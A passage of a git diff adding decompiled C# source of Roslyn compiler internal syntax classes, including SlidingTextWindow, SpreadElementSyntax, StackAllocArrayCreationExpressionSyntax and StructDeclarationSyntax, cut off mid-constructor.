+ + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SlicePatternSyntax(base.Kind, dotDotToken, pattern, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SlicePatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + dotDotToken = syntaxToken; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + if (patternSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)dotDotToken); + writer.WriteValue((IObjectWritable)(object)pattern); + } + + static SlicePatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SlicePatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SlicePatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlidingTextWindow.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlidingTextWindow.cs new file mode 100644 index 0000000..0560d28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SlidingTextWindow.cs @@ -0,0 +1,290 @@ +using System; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SlidingTextWindow : IDisposable +{ + public const char InvalidCharacter = '\uffff'; + + private const int DefaultWindowLength = 2048; + + private readonly SourceText _text; + + private int _basis; + + private int _offset; + + private readonly int _textEnd; + + private char[] _characterWindow; + + private int _characterWindowCount; + + private int _lexemeStart; + + private readonly StringTable _strings; + + private static readonly ObjectPool s_windowPool = new ObjectPool((Factory)(() => new char[2048]), true); + + public SourceText Text => _text; + + public int Position => _basis + _offset; + + public int Offset => _offset; + + public char[] CharacterWindow => _characterWindow; + + public int LexemeRelativeStart => _lexemeStart; + + public int CharacterWindowCount => _characterWindowCount; + + public int LexemeStartPosition => _basis + _lexemeStart; + + public int Width => _offset - _lexemeStart; + + public SlidingTextWindow(SourceText text) + { + _text = text; + _basis = 0; + _offset = 0; + _textEnd = text.Length; + _strings = StringTable.GetInstance(); + _characterWindow = s_windowPool.Allocate(); + _lexemeStart = 0; + } + + public void Dispose() + { + if (_characterWindow != null) + { + s_windowPool.Free(_characterWindow); + _characterWindow = null; + _strings.Free(); + } + } + + public void Start() + { + _lexemeStart = _offset; + } + + public void Reset(int position) + { + int num = position - _basis; + if (num >= 0 && num <= _characterWindowCount) + { + _offset = num; + return; + } + int val = Math.Min(_text.Length, position + _characterWindow.Length) - position; + val = Math.Max(val, 0); + if (val > 0) + { + _text.CopyTo(position, _characterWindow, 0, val); + } + _lexemeStart = 0; + _offset = 0; + _basis = position; + _characterWindowCount = val; + } + + private bool MoreChars() + { + if (_offset >= _characterWindowCount) + { + if (Position >= _textEnd) + { + return false; + } + if (_lexemeStart > _characterWindowCount / 4) + { + Array.Copy(_characterWindow, _lexemeStart, _characterWindow, 0, _characterWindowCount - _lexemeStart); + _characterWindowCount -= _lexemeStart; + _offset -= _lexemeStart; + _basis += _lexemeStart; + _lexemeStart = 0; + } + if (_characterWindowCount >= _characterWindow.Length) + { + char[] characterWindow = _characterWindow; + char[] array = new char[_characterWindow.Length * 2]; + Array.Copy(characterWindow, 0, array, 0, _characterWindowCount); + _characterWindow = array; + } + int num = Math.Min(_textEnd - (_basis + _characterWindowCount), _characterWindow.Length - _characterWindowCount); + _text.CopyTo(_basis + _characterWindowCount, _characterWindow, _characterWindowCount, num); + _characterWindowCount += num; + return num > 0; + } + return true; + } + + internal bool IsReallyAtEnd() + { + if (_offset >= _characterWindowCount) + { + return Position >= _textEnd; + } + return false; + } + + public void AdvanceChar() + { + _offset++; + } + + public bool TryAdvance(char c) + { + if (PeekChar() != c) + { + return false; + } + AdvanceChar(); + return true; + } + + public void AdvanceChar(int n) + { + _offset += n; + } + + public void AdvancePastNewLine() + { + AdvanceChar(GetNewLineWidth()); + } + + public int GetNewLineWidth() + { + return GetNewLineWidth(PeekChar(), PeekChar(1)); + } + + public static int GetNewLineWidth(char currentChar, char nextChar) + { + if (currentChar != '\r' || nextChar != '\n') + { + return 1; + } + return 2; + } + + public char NextChar() + { + char num = PeekChar(); + if (num != '\uffff') + { + AdvanceChar(); + } + return num; + } + + public char PeekChar() + { + if (_offset >= _characterWindowCount && !MoreChars()) + { + return '\uffff'; + } + return _characterWindow[_offset]; + } + + public char PeekChar(int delta) + { + int position = Position; + AdvanceChar(delta); + char result = ((_offset < _characterWindowCount || MoreChars()) ? _characterWindow[_offset] : '\uffff'); + Reset(position); + return result; + } + + internal bool AdvanceIfMatches(string desired) + { + int length = desired.Length; + for (int i = 0; i < length; i++) + { + if (PeekChar(i) != desired[i]) + { + return false; + } + } + AdvanceChar(length); + return true; + } + + public string Intern(StringBuilder text) + { + return _strings.Add(text); + } + + public string Intern(char[] array, int start, int length) + { + return _strings.Add(array, start, length); + } + + public string GetInternedText() + { + return Intern(_characterWindow, _lexemeStart, Width); + } + + public string GetText(bool intern) + { + return GetText(LexemeStartPosition, Width, intern); + } + + public string GetText(int position, int length, bool intern) + { + int num = position - _basis; + switch (length) + { + case 0: + return string.Empty; + case 1: + if (_characterWindow[num] == ' ') + { + return " "; + } + if (_characterWindow[num] == '\n') + { + return "\n"; + } + break; + case 2: + { + char c = _characterWindow[num]; + if (c == '\r' && _characterWindow[num + 1] == '\n') + { + return "\r\n"; + } + if (c == '/' && _characterWindow[num + 1] == '/') + { + return "//"; + } + break; + } + case 3: + if (_characterWindow[num] == '/' && _characterWindow[num + 1] == '/' && _characterWindow[num + 2] == ' ') + { + return "// "; + } + break; + } + if (intern) + { + return Intern(_characterWindow, num, length); + } + return new string(_characterWindow, num, length); + } + + internal static char GetCharsFromUtf32(uint codepoint, out char lowSurrogate) + { + if (codepoint < 65536) + { + lowSurrogate = '\uffff'; + return (char)codepoint; + } + lowSurrogate = (char)((codepoint - 65536) % 1024 + 56320); + return (char)((codepoint - 65536) / 1024 + 55296); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SpreadElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SpreadElementSyntax.cs new file mode 100644 index 0000000..a9a3320 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SpreadElementSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SpreadElementSyntax : CollectionElementSyntax +{ + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax Expression => expression; + + internal SpreadElementSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SpreadElementSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal SpreadElementSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorToken, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SpreadElementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSpreadElement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSpreadElement(this); + } + + public SpreadElementSyntax Update(SyntaxToken operatorToken, ExpressionSyntax expression) + { + if (operatorToken != OperatorToken || expression != Expression) + { + SpreadElementSyntax spreadElementSyntax = SyntaxFactory.SpreadElement(operatorToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + spreadElementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(spreadElementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + spreadElementSyntax = GreenNodeExtensions.WithAnnotationsGreen(spreadElementSyntax, (IEnumerable)annotations); + } + return spreadElementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SpreadElementSyntax(base.Kind, operatorToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SpreadElementSyntax(base.Kind, operatorToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SpreadElementSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static SpreadElementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SpreadElementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SpreadElementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StackAllocArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StackAllocArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..d34f12f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StackAllocArrayCreationExpressionSyntax.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class StackAllocArrayCreationExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken stackAllocKeyword; + + internal readonly TypeSyntax type; + + internal readonly InitializerExpressionSyntax? initializer; + + public SyntaxToken StackAllocKeyword => stackAllocKeyword; + + public TypeSyntax Type => type; + + public InitializerExpressionSyntax? Initializer => initializer; + + internal StackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal StackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal StackAllocArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)stackAllocKeyword); + this.stackAllocKeyword = stackAllocKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => stackAllocKeyword, + 1 => type, + 2 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitStackAllocArrayCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitStackAllocArrayCreationExpression(this); + } + + public StackAllocArrayCreationExpressionSyntax Update(SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax initializer) + { + if (stackAllocKeyword != StackAllocKeyword || type != Type || initializer != Initializer) + { + StackAllocArrayCreationExpressionSyntax stackAllocArrayCreationExpressionSyntax = SyntaxFactory.StackAllocArrayCreationExpression(stackAllocKeyword, type, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + stackAllocArrayCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(stackAllocArrayCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + stackAllocArrayCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(stackAllocArrayCreationExpressionSyntax, (IEnumerable)annotations); + } + return stackAllocArrayCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new StackAllocArrayCreationExpressionSyntax(base.Kind, stackAllocKeyword, type, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new StackAllocArrayCreationExpressionSyntax(base.Kind, stackAllocKeyword, type, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal StackAllocArrayCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + stackAllocKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + if (initializerExpressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)stackAllocKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static StackAllocArrayCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(StackAllocArrayCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new StackAllocArrayCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StatementSyntax.cs new file mode 100644 index 0000000..8f8c9dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StatementSyntax.cs @@ -0,0 +1,24 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class StatementSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + internal StatementSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal StatementSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected StatementSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructDeclarationSyntax.cs new file mode 100644 index 0000000..9091b34 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/StructDeclarationSyntax.cs @@ -0,0 +1,417 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class StructDeclarationSyntax : TypeDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax? parameterList; + + internal readonly BaseListSyntax? baseList; + + internal readonly GreenNode? constraintClauses; + + internal readonly SyntaxToken? openBraceToken; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken? closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken Keyword => keyword; + + public override SyntaxToken Identifier => identifier; + + public override TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public override ParameterListSyntax? ParameterList => parameterList; + + public override BaseListSyntax? BaseList => baseList; + + public override SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public override SyntaxToken? OpenBraceToken => openBraceToken; + + public override SyntaxList Members => new SyntaxList(members); + + public override SyntaxToken? CloseBraceToken => closeBraceToken; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal StructDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal StructDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal StructDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 12; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (typeParameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeParameterList); + this.typeParameterList = typeParameterList; + } + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (constraintClauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(constraintClauses); + this.constraintClauses = constraintClauses; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => keyword, + 3 => identifier, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 8 => openBraceToken, + 9 => members, + 10 => closeBraceToken, + 11 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitStructDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitStructDeclaration(this); + } + + public StructDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, BaseListSyntax baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + StructDeclarationSyntax structDeclarationSyntax = SyntaxFactory.StructDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + structDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(structDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + structDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(structDeclarationSyntax, (IEnumerable)annotations); + } + return structDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new StructDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new StructDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal StructDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or 